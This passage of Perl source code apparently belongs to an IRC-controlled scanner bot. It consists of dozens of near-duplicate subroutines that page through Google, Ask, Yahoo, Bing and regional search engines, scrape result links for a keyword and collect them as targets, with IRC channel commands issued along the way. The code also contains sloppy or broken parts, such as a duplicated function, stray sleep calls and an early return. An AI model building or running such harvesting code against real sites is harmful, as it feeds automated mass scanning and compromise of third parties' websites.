  5421.     for ($b = 1; $b<=600; $b+=40) {
  5422.            my $search = ("http://www.volunia.com/find/web?q=".uri_escape($key)."&start=".$b);
  5423.            my $res = search_engine_query($search);
  5424.            while ($res =~ m/The map of http:\/\/(.+?) does not exist yet/g) {
  5425.                 my $link = $1;
  5426.                 if ($link!~ /volunia\.com/) {
  5427.                 my @grep = &links($link);
  5428.                 push(@list,@grep);
  5429.             }
  5430.         }
  5431.     }
  5432.     sendraw("MODE $chan -m");
  5433.     return @list;
  5434. }
  5435.  
  5436. sub izito() {
  5437.     my @list;
  5438.     my $key = $_[0];
  5439.     for ($b=0; $b<=600; $b+=40) {
  5440.         my $search = ("http://www.izito.com/?query=".uri_escape($key)."&where=web_izito&site=web_izito&vid=l1847521836I1359583892&con=y&asid=1810073229&tag=7570085394I1359583978&clt=topic&sr=r&pg=".$b);
  5441.         my $res = search_engine_query($search);
  5442.         while ($res =~ m/<div class=\"title_up\"><a href=\"http:\/\/(.*?)\" site=/g) {
  5443.             my $link = $1;
  5444.             if ($1 !~ /izito\.com/){
  5445.                 my @grep = &links($link);
  5446.                 push(@list,@grep);
  5447.             }
  5448.         }
  5449.     }
  5450.     return @list;
  5451. }
  5452.  
  5453. sub onyet() {
  5454.     my @list;
  5455.     my $key = $_[0];
  5456.     for ($b=1; $b<=420; $b+=30) {
  5457.         my $search = ("http://szukaj.onet.pl/0,".$b.",query.html?qt=".uri_escape($key));
  5458.         my $res = search_engine_query($search);
  5459.         while ($res =~ m/class=\"link\"><a href=\"http:\/\/(.+?)\">/g) {
  5460.     if ($1 !~ /onet\.pl/){
  5461.             my $link = $1;
  5462.                 my @grep = &links($link);
  5463.                 push(@list,@grep);
  5464.             }
  5465.         }
  5466.     }
  5467.     return @list;
  5468. }
  5469.  
  5470. sub askom() {
  5471.     my @list;
  5472.     my $key = $_[0];
  5473.     for (my $i=0; $i<=400; $i+=30) {
  5474.         my $search = ("http://www.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=&o=0&l=dir&qid=235A0A59C3E13CDAFE9BC30D9C40E125&page=".$i."&pid=&min=&max=&jss=");
  5475.         my $res = search_engine_query($search);
  5476.         while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=\"/g) {
  5477.             if ($1 !~ /ask\.com/){
  5478.             my $link = $1;
  5479.                 my @grep = &links($link);
  5480.                 push(@list,@grep);
  5481.             }
  5482.         }
  5483.     }
  5484.     return @list;
  5485. }
  5486.  
  5487. sub google() {
  5488.     my @list;
  5489.     my $key = $_[0];
  5490.     for (my $i=0; $i<=600; $i+=500){
  5491.         my $search = ($jack9.uri_escape($key)."&num=100&filter=0&start=".$i);
  5492.         my $res = &search_engine_query($search);
  5493.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5494.             my $link = $1;
  5495.             if ($link !~ /google/){
  5496.                 my @grep = &links($link);
  5497.                 push(@list,@grep);
  5498.             }
  5499.         }
  5500.     }
  5501.     return @list;
  5502. }
  5503.  
  5504. sub walla() {
  5505.     my @list;
  5506.     my $key = $_[0];
  5507.     my $chan = $_[1];
  5508.     for ($b=0; $b<=1000; $b+=61) {
  5509.         my $search = ("http://search.walla.co.il/?q=".uri_escape($key)."&type=text&page=".$b);
  5510.         my $res = &search_engine_query($search);
  5511.         while ($res =~ m/<a href=\"http:\/\/(.+?)\" title=/g) {
  5512.             my $link = $1;
  5513.             if ($link !~ /walla\.co\.il/){
  5514.                 my @grep = &links($link);
  5515.                 push(@list,@grep);
  5516.             }
  5517.         }
  5518.     }
  5519.     sendraw("MODE $chan -m");
  5520.     return @list;
  5521. }
  5522.  
  5523.  
  5524. sub yahoo(){
  5525.     my @list;
  5526.     my $key = $_[0];
  5527.     for ($b=1; $b<=100; $b+=10) {
  5528.         my $search = ("http://search.yahoo.com/web?fr=".uri_escape($key)."&b=".$b);
  5529.         my $res = &search_engine_query($search);
  5530.         while ($res =~ m/http:\/\/([^>]*)\//g) {
  5531.             my $link = $1;
  5532.             if ($link !~ /yahoo\.com/){
  5533.                 my @grep = &links($link);
  5534.                 push(@list,@grep);
  5535.             }
  5536.         }
  5537.     }
  5538.     return @list;
  5539. }
  5540.  
  5541. sub ask() {
  5542.     my @list;
  5543.     my $key = $_[0];
  5544.     for (my $i=1; $i<=1000; $i+=100) {
  5545.         my $search = ("http://uk.ask.com/web?q=".uri_escape($key)."&qsrc=1&frstpgo=0&o=0&l=dir&qid=05D10861868F8C7817DAE9A6B4D30795&page=".$i."&jss=");
  5546.         my $res = &search_engine_query($search);
  5547.         while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  5548.             my $link = $1;
  5549.             if ($link !~ /ask\.com/){
  5550.                 my @grep = &links($link);
  5551.                 push(@list,@grep);
  5552.             }
  5553.         }
  5554.     }
  5555.     return @list;
  5556. }
  5557.  
  5558. sub onet() {
  5559.     my @list;
  5560.     my $key = $_[0];
  5561.     my $b   = 0;
  5562.     for ($b=1; $b<=600; $b+=60) {
  5563.         my $search = ("http://szukaj.onet.pl/".$b.",query.html?qt=".uri_escape($key));
  5564.         my $res = &search_engine_query($search);
  5565.         while ($res =~ m/<a href=\"http:\/\/(.*?)\">/g) {
  5566.             my $link = $1;
  5567.             if ($link !~ /onet|webcache|query/){
  5568.                 my @grep = &links($link);
  5569.                 push(@list,@grep);
  5570.             }
  5571.         }
  5572.     }
  5573.     return @list;
  5574. }
  5575.  
  5576. sub clusty() {
  5577.     my @list;
  5578.     my $key = $_[0];
  5579.     my $b   = 0;
  5580.     for ($b=10; $b<=600; $b+=60) {
  5581.         my $search = ("http://search.yippy.com/search?input-form=clusty-simple&v%3Asources=webplus-ns-aaf&v%3Aproject=clusty&query=".uri_escape($key)."&v:state=root|root-".$b."-20|0&");
  5582.         my $res = &search_engine_query($search);
  5583.         if ($res !~ /next/) {$b=100;}
  5584.         while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) {
  5585.             my $link = $1;
  5586.             if ($1 !~ /yippy\.com/){
  5587.                 my @grep = &links($link);
  5588.                 push(@list,@grep);
  5589.             }
  5590.         }
  5591.     }
  5592.     return @list;
  5593. }
  5594.  
  5595. sub bing() {
  5596.     my @list;
  5597.     my $key = $_[0];
  5598.     for (my $i=1; $i<=600; $i+=60) {
  5599.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&first=".$i);
  5600.         my $res = &search_engine_query($search);
  5601.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  5602.             my $link = $1;
  5603.             if ($link !~ /google/) {
  5604.                 my @grep = &links($link);
  5605.                 push(@list,@grep);
  5606.             }
  5607.         }
  5608.     }
  5609.     return @list;
  5610. }
  5611.  
  5612. sub sapo(){
  5613.     my @list;
  5614.     my $key = $_[0];
  5615.     for ($b=1; $b<=700; $b+=40) {
  5616.         my $search = ("http://pesquisa.sapo.pt/?barra=resumo&cluster=0&format=html&limit=10&location=pt&page=".$b."&q=".uri_escape($key)."&st=local");
  5617.         my $res = &search_engine_query($search);
  5618.         if ($res !~ m/Next/i) {$b=50;}
  5619.         while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) {
  5620.             my $link = $1;
  5621.             if ($1 !~ /\.sapo\.pt/){
  5622.                 my @grep = &links($link);
  5623.                 push(@list,@grep);
  5624.             }
  5625.         }
  5626.     }
  5627.     return @list;
  5628. }
  5629.  
  5630. sub lycos() {
  5631.   my @list;
  5632.   my $key = $_[0];
  5633.     for ($b=0; $b<=500; $b+=50) {
  5634.         my $search = ("http://search.lycos.com/web?q=".uri_escape($key)."&pn=".$b);
  5635.         my $res = &search_engine_query($search);
  5636.         while ($res =~ m/title=\"http:\/\/(.*?)\"/g) {
  5637.             my $link = $1;
  5638.             if ($link !~ /lycos\.com/){
  5639.                 my @grep = &links($link);
  5640.                 push(@list,@grep);
  5641.             }
  5642.         }
  5643.     }
  5644.     return @list;  
  5645. }
  5646.  
  5647. sub uol() {
  5648.     my @list;
  5649.     my $key = $_[0];
  5650.     for ($b=0; $b<=1000; $b+=100) {
  5651.         my $search = ("http://busca.uol.com.br/web/?ref=homeuol&q=".uri_escape($key)."&start=".$b);
  5652.         my $res = &search_engine_query($search);
  5653.         if ($res =~ m/retornou nenhum resultado/i) {$b=500;}
  5654.         while ($res =~ m/href=\"?http:\/\/([^\">]*)\"/g) {
  5655.             my $link = $1;
  5656.             if ($link !~ /uol\.com\.br|\/web/i){
  5657.                 my @grep = &links($link);
  5658.                 push(@list,@grep);
  5659.             }
  5660.         }
  5661.     }
  5662.     return @list;
  5663. }
  5664.  
  5665. sub seznam() {
  5666.     my @list;
  5667.     my $key = $_[0];
  5668.     for ($b=1; $b<=500; $b+=50) {
  5669.         my $search = ("http://search.seznam.cz/?q=".uri_escape($key)."&count=20&from=".$b);
  5670.         my $res = &search_engine_query($search);
  5671.         while ($res =~ m/href=\"?http:\/\/([^\">]*)\"/g) {
  5672.             my $link = $1;
  5673.             if ($link !~ /seznam\.cz|chytrevyhledavani\.cz|smobil\.cz|sklik\.cz/i){
  5674.                 my @grep = &links($link);
  5675.                 push(@list,@grep);
  5676.             }
  5677.         }
  5678.     }
  5679.     return @list;
  5680. }
  5681.  
  5682. sub hotbot() {
  5683.   my @list;
  5684.   my $key = $_[0];
  5685.     for ($b=0; $b<=500; $b+=50) {
  5686.         my $search = ("http://www.hotbot.com/search/web?pn=".$b."&q=".uri_escape($key));
  5687.         my $res = &search_engine_query($search);
  5688.         if ($res =~ m/had no web result/i) {$b=50;}
  5689.         while ($res =~ m/href=\"http:\/\/(.+?)\" title=/g) {
  5690.             my $link = $1;
  5691.             if ($link !~ /hotbot\.com/){
  5692.                 my @grep = &links($link);
  5693.                 push(@list,@grep);
  5694.             }
  5695.         }
  5696.     }
  5697.     return @list;  
  5698. }
  5699.  
  5700. sub aol() {
  5701.     my @list;
  5702.     my $key = $_[0];
  5703.     for ($b=0; $b<=500; $b+=50) {
  5704.         my $search = ("http://search.aol.com/aol/search?q=".uri_escape($key)."&page=".$b);
  5705.         my $res = &search_engine_query($search);
  5706.         while ($res =~ m/href=\"http:\/\/(.*?)\"/g) {
  5707.             my $link = $1;
  5708.             if ($link !~ /aol\.com/){
  5709.                 my @grep = &links($link);
  5710.                 push(@list,@grep);
  5711.             }
  5712.         }
  5713.     }
  5714.     return @list;
  5715. }
  5716.  
  5717. sub biglobe {
  5718.   my $key = $_[0];
  5719.   my @list;
  5720.   for ($b=1; $b<=500; $b+=50) {
  5721.     $num += $num;
  5722.     my $search = "http://cgi.search.biglobe.ne.jp/cgi-bin/search-st_lp2?start=".$b."&ie=utf8&num=".$num."&q=".uri_escape($key)."&lr=all";
  5723.     my $res = &search_engine_query($search);
  5724.     while ( $res =~ m/<a href=\"http:\/\/(.+?)\"/g ) {
  5725.         my $link = $1;
  5726.         if ($link !~ /biglobe/){
  5727.                 my @grep = &links($link);
  5728.                 push(@list,@grep);
  5729.             }
  5730.         }
  5731.     }
  5732.     return @list;
  5733. }
  5734.  
  5735. sub yahoo2() {
  5736.   my @list;
  5737.   my $key = $_[0];
  5738.   my $b   = 0;
  5739.   my @doms = ("nl","au","br","ca","de","es","fr","it","uk");
  5740.   foreach my $domain (@doms) { #$dom = $doms[rand(scalar(@doms))];
  5741.     for (my $i=1; $i<=1000; $i+=50) {
  5742.         my $search = ("http://".$domain.".search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
  5743.         my $res = &search_engine_query($search);
  5744.         while ($res =~ m/http:\/\/([^>]*)\//g) {
  5745.             if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
  5746.             }
  5747.         }
  5748.     } return @list;
  5749. }
  5750. }
  5751.  
  5752. sub kvasir() {
  5753.     my @list;
  5754.     my $key = $_[0];
  5755.     for (my $i=10; $i<=1000; $i+=100){
  5756.         my $search = ("http://www.kvasir.no/nettsok?q=".$i."&pageSize=100&q=".uri_escape($key)."");
  5757.         my $res = &search_engine_query($search);
  5758.         while ($res =~ m/href=\"http:\/\/(.+?)\//g) {
  5759.             my $link = $1; if ($link !~ /kvasir/){ $link =~ s/<//g; $link =~ s/ //g; my @grep = links($link); push(@list,@grep);
  5760.             }
  5761.         }
  5762.     }
  5763.     return @list;
  5764. }
  5765.  
  5766. sub quint() {
  5767.     my @lst;
  5768.     my $key = $_[0];
  5769.     for (my $i=0; $i<=500; $i+=50){
  5770.         my $search = ("http://quintura.com/?request=".uri_escape($key)."&tab=0&page=".$i."&tabid=");
  5771.         my $res = search_engine_query($search);
  5772.         while ($res =~ m/<a href=\"?http:\/\/(.+?)\//g) {
  5773.             my $link = $1;
  5774.             if ($link !~ /quintura/){
  5775.                 my @grep = links($link);
  5776.                 push(@lst,@grep);
  5777.             }
  5778.         }
  5779.     }
  5780.     return @lst;
  5781. }      
  5782.        
  5783. sub seznam() {
  5784.     my @list;
  5785.     my $key = $_[0];
  5786.     for ($b=1; $b<=1000; $b+=100) {
  5787.         my $search = ("http://search.seznam.cz/?q=".uri_escape($key)."&count=10&pId=SkYLl2GXwV0CZZUQcglt&from=".$b);
  5788.         my $res = &search_engine_query($search);
  5789.         while ($res =~ m/<a href=\"http:\/\/(.+?)\" title/g) {
  5790.             if ($1 !~ /seznam/){
  5791.             my $link = $1;
  5792.                 my @grep = &links($link);
  5793.                 push(@list,@grep);
  5794.             }
  5795.         }
  5796.     }
  5797.     return @list;
  5798. }
  5799.  
  5800. sub pagina(){
  5801.     my @list;
  5802.     my $key = $_[0];
  5803.     my $i   = 0;
  5804.     for ($i=0; $i<=500; $i+=30){
  5805.         my $web=("http://startgoogle.startpagina.nl/index.php?q=".uri_escape($key)."&start=".$i."&origin=homepage&source=geentaal");       
  5806.         my $Res= search_engine_query($web);
  5807.         while ($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  5808.             if ($1 !~ /pagina|pagina's/){
  5809.                 my $k=$1;
  5810.                 my @grep=links($k);
  5811.                 push(@list,@grep);
  5812.             }
  5813.         }
  5814.     }
  5815.     return @list;
  5816. }
  5817.  
  5818. sub clix(){
  5819.     my @list;
  5820.     my $key = $_[0];
  5821.     for($b=1;$b<=1000;$b+=100){
  5822.         my $Th=("http://www.google.pt/search?q=".uri_escape($key)."&in=Mundial&num=25&ckWhere=Mundo&position=".$b."");
  5823.         my $Res=&search_engine_query($Th);
  5824.         while($Res =~ m/href=\"http:\/\/(.+?)\//g){
  5825.             my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
  5826.             }
  5827.         }
  5828.     return @list;
  5829. }
  5830.  
  5831. sub ask2() {
  5832.   my @list;
  5833.     my $key = $_[0];
  5834.     for (my $i=1; $i<=50; $i+=1) {
  5835.         my $search = ("http://it.ask.com/web?q=".uri_escape($key)."&qsrc=0&o=0&l=dir&qid=EE90DE6E8F5370F363A63EC61228D4FE&page=".$i."&jss=1&dm=all");
  5836.         my $res = &search_engine_query($search);
  5837.         if ($res !~ /Successiva/) {$i=50;}
  5838.         while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=\"/g) {
  5839.             if ($1 !~ /ask\.com/){
  5840.             my $link = $1;
  5841.                 my @grep = &links($link);
  5842.                 push(@list,@grep);
  5843.             }
  5844.         }
  5845.     }
  5846.     return @list;
  5847. }
  5848.  
  5849. sub jack1() {
  5850.     my @list;
  5851.     my $key = $_[0];
  5852.     for (my $i=0; $i<=1000; $i+=100){
  5853.         my $search = ($jack1.uri_escape($key)."&num=100&start=".$i);
  5854.         my $res = &search_engine_query($search);
  5855.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5856.             my $link = $1;
  5857.             if ($link !~ /google/){
  5858.                 my @grep = &links($link);
  5859.                 push(@list,@grep);
  5860.             }
  5861.         }
  5862.     }
  5863.     return @list;
  5864. }
  5865.  
  5866. sub jack2() {
  5867.     my @list;
  5868.     my $key = $_[0];
  5869.     for (my $i=0; $i<=1000; $i+=100){
  5870.         my $search = ($jack2.uri_escape($key)."&num=100&start=".$i);
  5871.         my $res = &search_engine_query($search);
  5872.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5873.             my $link = $1;
  5874.             if ($link !~ /google/){
  5875.                 my @grep = &links($link);
  5876.                 push(@list,@grep);
  5877.             }
  5878.         }
  5879.     }
  5880.     return @list;
  5881. }
  5882.  
  5883. sub jack3() {
  5884.     my @list;
  5885.     my $key = $_[0];
  5886.     for (my $i=0; $i<=1000; $i+=100){
  5887.         my $search = ($jack3.uri_escape($key)."&num=100&start=".$i);
  5888.         my $res = &search_engine_query($search);
  5889.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5890.             my $link = $1;
  5891.             if ($link !~ /google/){
  5892.                 my @grep = &links($link);
  5893.                 push(@list,@grep);
  5894.             }
  5895.         }
  5896.     }
  5897.     return @list;
  5898. }
  5899.  
  5900. sub jack4() {
  5901.     my @list;
  5902.     my $key = $_[0];
  5903.     for (my $i=0; $i<=1000; $i+=100){
  5904.         my $search = ($jack4.uri_escape($key)."&num=100&start=".$i);
  5905.         my $res = &search_engine_query($search);
  5906.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5907.             my $link = $1;
  5908.             if ($link !~ /google/){
  5909.                 my @grep = &links($link);
  5910.                 push(@list,@grep);
  5911.             }
  5912.         }
  5913.     }
  5914.     return @list;
  5915. }
  5916.  
  5917. sub jack5() {
  5918.     my @list;
  5919.     my $key = $_[0];
  5920.     for (my $i=0; $i<=1000; $i+=100){
  5921.         my $search = ($jack5.uri_escape($key)."&num=100&start=".$i);
  5922.         my $res = &search_engine_query($search);
  5923.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5924.             my $link = $1;
  5925.             if ($link !~ /google/){
  5926.                 my @grep = &links($link);
  5927.                 push(@list,@grep);
  5928.             }
  5929.         }
  5930.     }
  5931.     return @list;
  5932. }
  5933.  
  5934. sub jack6() {
  5935.     my @list;
  5936.     my $key = $_[0];
  5937.     for (my $i=0; $i<=1000; $i+=100){
  5938.         my $search = ($jack6.uri_escape($key)."&num=100&start=".$i);
  5939.         my $res = &search_engine_query($search);
  5940.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5941.             my $link = $1;
  5942.             if ($link !~ /google/){
  5943.                 my @grep = &links($link);
  5944.                 push(@list,@grep);
  5945.             }
  5946.         }
  5947.     }
  5948.     return @list;
  5949. }
  5950.  
  5951. sub jack7() {
  5952.     my @list;
  5953.     my $key = $_[0];
  5954.     for (my $i=0; $i<=1000; $i+=100){
  5955.         my $search = ($jack7.uri_escape($key)."&num=100&start=".$i);
  5956.         my $res = &search_engine_query($search);
  5957.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5958.             my $link = $1;
  5959.             if ($link !~ /google/){
  5960.                 my @grep = &links($link);
  5961.                 push(@list,@grep);
  5962.             }
  5963.         }
  5964.     }
  5965.     return @list;
  5966. }
  5967.  
  5968. sub jack8() {
  5969.     my @list;
  5970.     my $key = $_[0];
  5971.     for (my $i=0; $i<=1000; $i+=100){
  5972.         my $search = ($jack8.uri_escape($key)."&num=100&start=".$i);
  5973.         my $res = &search_engine_query($search);
  5974.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5975.             my $link = $1;
  5976.             if ($link !~ /google/){
  5977.                 my @grep = &links($link);
  5978.                 push(@list,@grep);
  5979.             }
  5980.         }
  5981.     }
  5982.     return @list;
  5983. }
  5984.  
  5985. sub jack9() {
  5986.     my @list;
  5987.     my $key = $_[0];
  5988.     for (my $i=0; $i<=1000; $i+=100){
  5989.         my $search = ($jack9.uri_escape($key)."&num=100&start=".$i);
  5990.         my $res = &search_engine_query($search);
  5991.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5992.             my $link = $1;
  5993.             if ($link !~ /google/){
  5994.                 my @grep = &links($link);
  5995.                 push(@list,@grep);
  5996.             }
  5997.         }
  5998.     }
  5999.     return @list;
  6000. }
  6001.  
  6002. sub jack10() {
  6003.     my @list;
  6004.     my $key = $_[0];
  6005.     for (my $i=0; $i<=1000; $i+=100){
  6006.         my $search = ($jack10.uri_escape($key)."&num=100&start=".$i);
  6007.         my $res = &search_engine_query($search);
  6008.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6009.             my $link = $1;
  6010.             if ($link !~ /google/){
  6011.                 my @grep = &links($link);
  6012.                 push(@list,@grep);
  6013.             }
  6014.         }
  6015.     }
  6016.     return @list;
  6017. }
  6018.  
  6019. sub askCA() {
  6020.     my @list;
  6021.     my $key = $_[0];
  6022.     for (my $i=1; $i<=500; $i+=30) {
  6023.         my $search = ("http://ca.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  6024.         my $res = &search_engine_query($search);
  6025.         while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  6026.             my $link = $1;
  6027.             if ($link !~ /askCA\.com/){
  6028.                 my @grep = links($link);
  6029.                 push(@list,@grep);
  6030.             }
  6031.         }
  6032.     }
  6033.     return @list;
  6034. }
  6035. sleep(4);
  6036. sub askDE() {
  6037.     my @list;
  6038.     my $key = $_[0];
  6039.     for (my $i=1; $i<=500; $i+=30) {
  6040.         my $search = ("http://de.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  6041.         my $res = &search_engine_query($search);
  6042.         while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  6043.             my $link = $1;
  6044.             if ($link !~ /askDE\.com/){
  6045.                 my @grep = links($link);
  6046.                 push(@list,@grep);
  6047.             }
  6048.         }
  6049.     }
  6050.     return @list;
  6051. }
  6052.  
  6053. sub askIT() {
  6054.     my @list;
  6055.     my $key = $_[0];
  6056.     for (my $i=1; $i<=500; $i+=30) {
  6057.         my $search = ("http://it.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  6058.         my $res = &search_engine_query($search);
  6059.         while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  6060.             my $link = $1;
  6061.             if ($link !~ /askIT\.com/){
  6062.                 my @grep = links($link);
  6063.                 push(@list,@grep);
  6064.             }
  6065.         }
  6066.     }
  6067.     return @list;
  6068. }
  6069.  
  6070. sub askUK() {
  6071.     my @list;
  6072.     my $key = $_[0];
  6073.     for (my $i=1; $i<=500; $i+=30) {
  6074.         my $search = ("http://uk.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  6075.         my $res = &search_engine_query($search);
  6076.         while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  6077.             my $link = $1;
  6078.             if ($link !~ /askUK\.com/){
  6079.                 my @grep = links($link);
  6080.                 push(@list,@grep);
  6081.             }
  6082.         }
  6083.     }
  6084.     return @list;
  6085. }
  6086.  
  6087. sub askFR() {
  6088.     my @list;
  6089.     my $key = $_[0];
  6090.     for (my $i=1; $i<=500; $i+=30) {
  6091.         my $search = ("http://fr.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  6092.         my $res = &search_engine_query($search);
  6093.         while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  6094.             my $link = $1;
  6095.             if ($link !~ /askFR\.com/){
  6096.                 my @grep = links($link);
  6097.                 push(@list,@grep);
  6098.             }
  6099.         }
  6100.     }
  6101.     return @list;
  6102. }
  6103.  
  6104. sub askES() {
  6105.     my @list;
  6106.     my $key = $_[0];
  6107.     for (my $i=1; $i<=500; $i+=30) {
  6108.         my $search = ("http://es.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  6109.         my $res = &search_engine_query($search);
  6110.         while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  6111.             my $link = $1;
  6112.             if ($link !~ /askES\.com/){
  6113.                 my @grep = links($link);
  6114.                 push(@list,@grep);
  6115.             }
  6116.         }
  6117.     }
  6118.     return @list;
  6119. }
  6120.  
  6121. sub askRU() {
  6122.     my @list;
  6123.     my $key = $_[0];
  6124.     for (my $i=1; $i<=500; $i+=30) {
  6125.         my $search = ("http://ru.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  6126.         my $res = &search_engine_query($search);
  6127.         while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  6128.             my $link = $1;
  6129.             if ($link !~ /askRU\.com/){
  6130.                 my @grep = links($link);
  6131.                 push(@list,@grep);
  6132.             }
  6133.         }
  6134.     }
  6135.     return @list;
  6136. }
  6137. sleep(4);
  6138. sub askNL() {
  6139.     my @list;
  6140.     my $key = $_[0];
  6141.     for (my $i=1; $i<=500; $i+=30) {
  6142.         my $search = ("http://nl.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  6143.         my $res = &search_engine_query($search);
  6144.         while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  6145.             my $link = $1;
  6146.             if ($link !~ /askNL\.com/){
  6147.                 my @grep = links($link);
  6148.                 push(@list,@grep);
  6149.             }
  6150.         }
  6151.     }
  6152.     return @list;
  6153. }
  6154.  
  6155. sub askPL() {
  6156.     my @list;
  6157.     my $key = $_[0];
  6158.     for (my $i=1; $i<=500; $i+=30) {
  6159.         my $search = ("http://pl.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  6160.         my $res = &search_engine_query($search);
  6161.         while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  6162.             my $link = $1;
  6163.             if ($link !~ /askPL\.com/){
  6164.                 my @grep = links($link);
  6165.                 push(@list,@grep);
  6166.             }
  6167.         }
  6168.     }
  6169.     return @list;
  6170. }
  6171.  
  6172. sub askAT() {
  6173.     my @list;
  6174.     my $key = $_[0];
  6175.     for (my $i=1; $i<=500; $i+=30) {
  6176.         my $search = ("http://at.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  6177.         my $res = &search_engine_query($search);
  6178.         while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  6179.             my $link = $1;
  6180.             if ($link !~ /askAT\.com/){
  6181.                 my @grep = links($link);
  6182.                 push(@list,@grep);
  6183.             }
  6184.         }
  6185.     }
  6186.     return @list;
  6187. }
  6188.  
  6189. sub askSE() {
  6190.     my @list;
  6191.     my $key = $_[0];
  6192.     for (my $i=1; $i<=500; $i+=30) {
  6193.         my $search = ("http://se.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  6194.         my $res = &search_engine_query($search);
  6195.         while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  6196.             my $link = $1;
  6197.             if ($link !~ /askSE\.com/){
  6198.                 my @grep = links($link);
  6199.                 push(@list,@grep);
  6200.             }
  6201.         }
  6202.     }
  6203.     return @list;
  6204. }
  6205.  
  6206. sub askDK() {
  6207.     my @list;
  6208.     my $key = $_[0];
  6209.     for (my $i=1; $i<=500; $i+=30) {
  6210.         my $search = ("http://dk.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  6211.         my $res = &search_engine_query($search);
  6212.         while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  6213.             my $link = $1;
  6214.             if ($link !~ /askDK\.com/){
  6215.                 my @grep = links($link);
  6216.                 push(@list,@grep);
  6217.             }
  6218.         }
  6219.     }
  6220.     return @list;
  6221. }
  6222.  
  6223. sub askNO() {
  6224.     my @list;
  6225.     my $key = $_[0];
  6226.     for (my $i=1; $i<=500; $i+=30) {
  6227.         my $search = ("http://no.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  6228.         my $res = &search_engine_query($search);
  6229.         while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  6230.             my $link = $1;
  6231.             if ($link !~ /askNO\.com/){
  6232.                 my @grep = links($link);
  6233.                 push(@list,@grep);
  6234.             }
  6235.         }
  6236.     }
  6237.     return @list;
  6238. }
  6239. sleep(4);
  6240. sub askAU() {
  6241.     my @list;
  6242.     my $key = $_[0];
  6243.     for (my $i=1; $i<=500; $i+=30) {
  6244.         my $search = ("http://au.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  6245.         my $res = &search_engine_query($search);
